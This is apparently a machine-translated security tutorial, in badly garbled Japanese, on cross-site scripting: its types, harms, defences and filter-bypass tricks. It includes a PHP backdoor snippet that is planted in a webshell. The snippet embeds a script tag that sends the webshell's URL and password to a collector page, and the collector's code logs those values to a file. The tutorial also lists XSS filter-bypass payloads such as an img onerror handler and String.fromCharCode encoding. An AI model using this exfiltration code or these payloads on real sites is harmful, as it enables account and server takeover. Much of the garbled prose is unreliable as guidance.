ディレクトリ
脆弱性防御的な原則と
また、CSS(CrossSiteScript)として知られているXSSは、カスケーディング・スタイル・シートと同じ名前を持つ(CSS)ためには、そうXSSと呼ばれ、中国では、クロスサイトスクリプティング攻撃と呼ばれます。
ユーザーがWebをブラウズするときようにXSS攻撃は、主にページが改ざん攻撃「HTMLインジェクション」により、ユーザのブラウザを攻撃する1つの方法を制御し、悪意のあるスクリプトを挿入します。
害
クッキーは、ユーザーを盗むこと
ハンギング馬(水たまりの攻撃)
頻繁に訪問したウェブサイトのユーザーには、サイトの脆弱性を利用したコード移植を悪用、訪問者端末は、悪意のあるプログラムを注入したり、直接情報を盗むされます
ワーム(CSRFの組み合わせが必要です)
キーロガーの制限事項
防衛
- HTMLの特殊文字エンティティのトランスコーディング。最高のろ過は2回目の呼び出しとは、スクリプトインジェクションを防ぐために、出力内のエンティティプラスHTMLトランスコーダのタイプです。
- ラベルのイベントプロパティは、ブラックリストに載せます。特殊文字は簡単に、それをバイパスし、そのイベントが推奨される方法は、問題がホワイトリストに一致しない場合、一致する直接使用する正規表現を実装するためのホワイトリストのルールを使用するには、ブラックリストやホワイトリスト、タグ付けしていますあなたはフィルタリングが空になるのではなく、盗聴を指示することができます。
XSS原理解析:出力の問題がjsの原因となったコードが実行を特定しています
脆弱性農産物:出力問題
そして、結果を返す1
注射スクリプトコードならば、
これは単純な反射型XSSです
XSS技術分類
クロスサイト反射(非永続的)
サーバーを介して、およびデータベースが交差していませんでした
クロスサイト・ストレージ・タイプ(永続的な)
データベースに直接書き込まれ、サーバを介して永続的なまま
DOM XSS
彼女は、これは反射XSSの効果であると言いますが、このXSSは完全にクライアントに、サーバーは通過せず、jsは、ページ出力に直接スプライスさ
クッキーの盗難
の原則を使用して:
コメント領域のメモリ型XSSスクリプトを挿入することにより、攻撃者はプラットフォームに送信されたローカルのクッキーで、その結果、ユーザーが悪意のあるスクリプトのレビューを訪問するたびにロードされます
ウェブシェル取得した後、XSS挿入クッキーのスクリプトコードを取得するには、ログイン成功後にページを修正
XSSプラットフォーム
// 页面底植入xss代码
<script src=""></script> // xss平台中的脚本
ベースのウェブシェルボックスXSS攻撃
取得した情報は、XSSのコードのウェブサイトの背景を注入することにより浸透サイトに送信されます
help.php(バックドア)
<?php
// 正常的大马程序
// 植入Xss
$url=$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // 百度查找相应的代码
// 输出获取到的大马路径和密码,发送到自己的渗透网站中,url值可以相应修改为xss跨站获取cookie的代码
echo "<script src=http://127.0.0.1/Webshell/index.php?u=$url&p=$password></script>"
?>
index.phpを(来た情報を受け取ります)
<?php
$url=$_GET['u'];
$pass=$_GET['p'];
// 可以修改为写入数据库操作
$file=fopen('webshell.html','a+');
fwrite($file,$url);
fwrite($file,"<br>");
fwrite($file,$pass);
fwrite($file,"<br>");
fclose($file);
?>
アナログ:
ハッカーは、メッセージは、マレーシアBハッカーバックドアコードがハッカーウェブシェルボックスBに送信されるとマレーシアアップロード注入することが想定されます
ハッカーBは、情報ボックスを受け取ります
これは、ボックスウェブシェルの侵略であります
あなたはXSSのクッキーを取得するためにコードを変更した場合に許可を得ることができます
XSSフィルタおよびバイパス保護関連解析(リンクを参照してください)
https://www.freebuf.com/articles/web/153055.html
https://www.secpulse.com/archives/57411.html
保護:
- キーワードフィルタ
- 特殊記号フィルタ
- フィルタの文字列の長さ
- コーディング保護をエスケープ
バイパス:
大文字と小文字の変更
ホワイトスペースを使用します
- %00
六角コーディング
- 他のタグの呼び出し
- <IMGのSRC = " ジャバスクリプト:警告(1) ;">
<img src=/ onerror="alert(1)"></img>
絵を見つけることができない、イメージタグを使用して、エラーコードの実行
JS独自の機能
String.fromCharCode(88,83,83)
文字へのACSII変換コードバイパス警報(1)をろ過し
エンコード形式を変換する必要がeval関数の実行、
警告コンバートUnicodeエンコーディング
本当の知識
タグを閉じることにより、
まず、クロージング無効
再閉鎖可能の層を試してみてください
あなたは開くことができます
ケースをバイパス
二重のバイパスを書きます
他のラベル注入で
ロケータを追加
#